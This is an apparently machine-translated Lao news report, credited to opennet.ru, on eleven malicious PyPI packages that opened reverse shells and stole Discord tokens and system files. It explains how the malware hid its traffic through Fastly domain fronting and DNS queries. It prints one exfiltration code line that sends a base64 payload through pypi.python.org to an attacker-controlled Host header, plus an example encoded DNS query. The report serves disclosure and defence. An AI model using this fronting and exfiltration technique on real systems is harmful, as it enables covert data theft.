ຫ້ອງສະຫມຸດທີ່ເປັນອັນຕະລາຍໄດ້ຖືກລະບຸໄວ້ໃນລາຍການ PyPI ທີ່ໃຊ້ PyPI CDN ເພື່ອເຊື່ອງຊ່ອງທາງການສື່ສານ

ໃນໄດເຣັກທໍຣີ PyPI (Python Package Index), 11 ຊຸດທີ່ມີລະຫັດທີ່ເປັນອັນຕະລາຍໄດ້ຖືກລະບຸ. ກ່ອນທີ່ຈະມີບັນຫາໄດ້ຖືກລະບຸ, ແພັກເກດໄດ້ຖືກດາວໂຫຼດປະມານ 38 ພັນຄັ້ງໃນຈໍານວນທັງຫມົດ. ແພັກເກັດທີ່ເປັນອັນຕະລາຍທີ່ກວດພົບແມ່ນເປັນທີ່ສັງເກດສໍາລັບການນໍາໃຊ້ວິທີການທີ່ຊັບຊ້ອນເພື່ອເຊື່ອງຊ່ອງທາງການສື່ສານກັບເຄື່ອງແມ່ຂ່າຍຂອງຜູ້ໂຈມຕີ.

• importantpackage (6305 ດາວ​ໂຫຼດ), important-package (12897) - ສ້າງ​ການ​ເຊື່ອມ​ຕໍ່​ກັບ​ເຊີບ​ເວີ​ພາຍ​ນອກ​ພາຍ​ໃຕ້​ການ​ເຊື່ອມ​ຕໍ່​ກັບ pypi.python.org ເພື່ອ​ໃຫ້​ການ​ເຂົ້າ​ເຖິງ shell ເຂົ້າ​ກັບ​ລະ​ບົບ (reverse shell) ແລະ​ໃຊ້​ໂປຣ​ແກຣມ trevorc2 ເພື່ອ​ເຊື່ອງ​ຂໍ້​ມູນ. ຊ່ອງ​ທາງ​ການ​ສື່​ສານ​.
• pptest (10001), ipboards (946) - ໃຊ້ DNS ເປັນຊ່ອງທາງການສື່ສານເພື່ອສົ່ງຂໍ້ມູນກ່ຽວກັບລະບົບ (ໃນແພັກເກັດທໍາອິດຊື່ເຈົ້າພາບ, ໄດເລກະທໍລີເຮັດວຽກ, IP ພາຍໃນແລະພາຍນອກ, ໃນທີສອງ - ຊື່ຜູ້ໃຊ້ແລະຊື່ເຈົ້າພາບ) .
• owlmoon (3285), DiscordSafety (557), yiffparty (1859) - ໄດ້ກໍານົດສັນຍານການບໍລິການ Discord ໃນລະບົບແລະສົ່ງມັນໄປຫາເຈົ້າພາບພາຍນອກ.
• trrfab (287) - ສົ່ງຕົວລະບຸ, ຊື່ເຈົ້າພາບ ແລະເນື້ອໃນຂອງ /etc/passwd, /etc/hosts, /home ໄປຫາເຈົ້າພາບພາຍນອກ.
• 10Cent10 (490) - ສ້າງຕັ້ງການເຊື່ອມຕໍ່ shell reverse ກັບເຈົ້າພາບພາຍນອກ.
• yandex-yt (4183) - ສະແດງຂໍ້ຄວາມກ່ຽວກັບລະບົບທີ່ຖືກທໍາລາຍແລະໂອນໄປຫາຫນ້າທີ່ມີຂໍ້ມູນເພີ່ມເຕີມກ່ຽວກັບການປະຕິບັດເພີ່ມເຕີມທີ່ອອກຜ່ານ nda.ya.ru (api.ya.cc).

ຂໍ້ສັງເກດໂດຍສະເພາະແມ່ນວິທີການເຂົ້າເຖິງໂຮດພາຍນອກທີ່ໃຊ້ໃນແພັກເກັດທີ່ສໍາຄັນແລະແພັກເກັດທີ່ສໍາຄັນ, ເຊິ່ງໃຊ້ເຄືອຂ່າຍການຈັດສົ່ງເນື້ອຫາ Fastly ທີ່ໃຊ້ໃນໄດເລກະທໍລີ PyPI ເພື່ອຊ່ອນກິດຈະກໍາຂອງພວກເຂົາ. ໃນຄວາມເປັນຈິງ, ການຮ້ອງຂໍຖືກສົ່ງໄປຫາເຄື່ອງແມ່ຂ່າຍຂອງ pypi.python.org (ລວມທັງການລະບຸຊື່ python.org ໃນ SNI ພາຍໃນຄໍາຮ້ອງຂໍ HTTPS), ແຕ່ຫົວຂໍ້ HTTP "Host" ປະກອບມີຊື່ຂອງເຄື່ອງແມ່ຂ່າຍທີ່ຄວບຄຸມໂດຍຜູ້ໂຈມຕີ (sec. forward.io. global.prod.fastly.net). ເຄືອຂ່າຍການຈັດສົ່ງເນື້ອຫາໄດ້ສົ່ງຄໍາຮ້ອງຂໍທີ່ຄ້າຍຄືກັນກັບເຄື່ອງແມ່ຂ່າຍການໂຈມຕີ, ໂດຍໃຊ້ຕົວກໍານົດການຂອງການເຊື່ອມຕໍ່ TLS ກັບ pypi.python.org ໃນເວລາສົ່ງຂໍ້ມູນ.

ໂຄງສ້າງພື້ນຖານຂອງ PyPI ແມ່ນຂັບເຄື່ອນໂດຍເຄືອຂ່າຍການຈັດສົ່ງເນື້ອຫາ Fastly, ເຊິ່ງໃຊ້ພຣັອກຊີໂປ່ງໃສ Varnish ເພື່ອ cache ການຮ້ອງຂໍປົກກະຕິ, ແລະຍັງໃຊ້ການປະມວນຜົນໃບຢັ້ງຢືນ TLS ໃນລະດັບ CDN, ແທນທີ່ຈະຢູ່ໃນເຄື່ອງແມ່ຂ່າຍສຸດທ້າຍ, ເພື່ອສົ່ງຕໍ່ຄໍາຮ້ອງຂໍ HTTPS ຜ່ານຕົວແທນ. ໂດຍບໍ່ຄໍານຶງເຖິງເຈົ້າພາບເປົ້າຫມາຍ, ການຮ້ອງຂໍຈະຖືກສົ່ງໄປຫາຕົວແທນ, ເຊິ່ງກໍານົດເຈົ້າພາບທີ່ຕ້ອງການໂດຍໃຊ້ HTTP "Host" header, ແລະຊື່ໂດເມນຂອງໂຮດໄດ້ຖືກຜູກມັດກັບທີ່ຢູ່ IP ຂອງ CDN load balancer ທີ່ປົກກະຕິສໍາລັບລູກຄ້າ Fastly ທັງຫມົດ.

ເຊີບເວີຂອງຜູ້ໂຈມຕີຍັງລົງທະບຽນກັບ CDN Fastly, ເຊິ່ງສະຫນອງແຜນການຟຣີໃຫ້ກັບທຸກຄົນແລະແມ້ກະທັ້ງອະນຸຍາດໃຫ້ລົງທະບຽນໂດຍບໍ່ເປີດເຜີຍຊື່. ເປັນທີ່ສັງເກດວ່າເພື່ອສົ່ງຄໍາຮ້ອງຂໍໄປຫາຜູ້ຖືກເຄາະຮ້າຍໃນເວລາສ້າງ "ແກະກັບຄືນ", ໂຄງການຍັງຖືກນໍາໃຊ້, ແຕ່ເລີ່ມຕົ້ນຈາກຝ່າຍເຈົ້າພາບຂອງຜູ້ໂຈມຕີ. ຈາກພາຍນອກ, ການໂຕ້ຕອບກັບເຄື່ອງແມ່ຂ່າຍຂອງຜູ້ໂຈມຕີເບິ່ງຄືວ່າເປັນກອງປະຊຸມທີ່ຖືກຕ້ອງກັບໄດເລກະທໍລີ PyPI, ຖືກເຂົ້າລະຫັດໂດຍໃຊ້ໃບຢັ້ງຢືນ PyPI TLS. ເຕັກນິກທີ່ຄ້າຍຄືກັນ, ເອີ້ນວ່າ "ຫນ້າໂດເມນ," ກ່ອນຫນ້ານີ້ຖືກນໍາໃຊ້ຢ່າງຈິງຈັງເພື່ອຊ່ອນຊື່ເຈົ້າພາບໃນເວລາທີ່ຜ່ານທາງຕັນ, ການນໍາໃຊ້ຄວາມສາມາດທີ່ສະຫນອງໃຫ້ໃນບາງເຄືອຂ່າຍ CDN ເພື່ອເຂົ້າເຖິງ HTTPS ໂດຍການຊີ້ບອກເຈົ້າພາບທີ່ສົມມຸດຕິຖານໃນ SNI ແລະສົ່ງຊື່ຂອງ. ໂຮສທີ່ຮ້ອງຂໍຢູ່ໃນສ່ວນຫົວ HTTP Host ພາຍໃນເຊດຊັນ TLS.

ເພື່ອເຊື່ອງການເຄື່ອນໄຫວທີ່ເປັນອັນຕະລາຍ, ແພັກເກດ TrevorC2 ໄດ້ຖືກນໍາໃຊ້ເພີ່ມເຕີມເພື່ອເຮັດໃຫ້ການໂຕ້ຕອບກັບເຊີບເວີທີ່ຄ້າຍຄືກັບການນໍາທາງເວັບປົກກະຕິ, ຕົວຢ່າງ, ການຮ້ອງຂໍທີ່ເປັນອັນຕະລາຍຖືກສົ່ງພາຍໃຕ້ການແນະນໍາຂອງການດາວໂຫຼດຮູບພາບ “https://pypi.python.org/images/. guid =” ດ້ວຍການເຂົ້າລະຫັດຂໍ້ມູນໃນຕົວກໍານົດການແນະນໍາ. url = "https://pypi.python.org" + "/images" + "?" + “guid=” + b64_payload r = request.Request(url, headers = {'Host': “psec.forward.io.global.prod.fastly.net”})

ແພັກເກດ pptest ແລະ ipboards ໄດ້ໃຊ້ວິທີທີ່ແຕກຕ່າງກັນເພື່ອຊ່ອນການເຄື່ອນໄຫວຂອງເຄືອຂ່າຍ, ໂດຍອີງໃສ່ການເຂົ້າລະຫັດຂໍ້ມູນທີ່ເປັນປະໂຫຍດໃນການສອບຖາມໄປຍັງເຊີບເວີ DNS. malware ສົ່ງຂໍ້ມູນໂດຍການດໍາເນີນການຮ້ອງຂໍ DNS ເຊັ່ນ "nu4timjagq4fimbuhe.example.com", ເຊິ່ງຂໍ້ມູນທີ່ຖືກສົ່ງກັບເຄື່ອງແມ່ຂ່າຍຄວບຄຸມແມ່ນຖືກເຂົ້າລະຫັດໂດຍໃຊ້ຮູບແບບ base64 ໃນຊື່ໂດເມນຍ່ອຍ. ຜູ້ໂຈມຕີໄດ້ຮັບຂໍ້ຄວາມເຫຼົ່ານີ້ໂດຍການຄວບຄຸມເຄື່ອງແມ່ຂ່າຍ DNS ສໍາລັບໂດເມນ example.com.

ແຫຼ່ງຂໍ້ມູນ: opennet.ru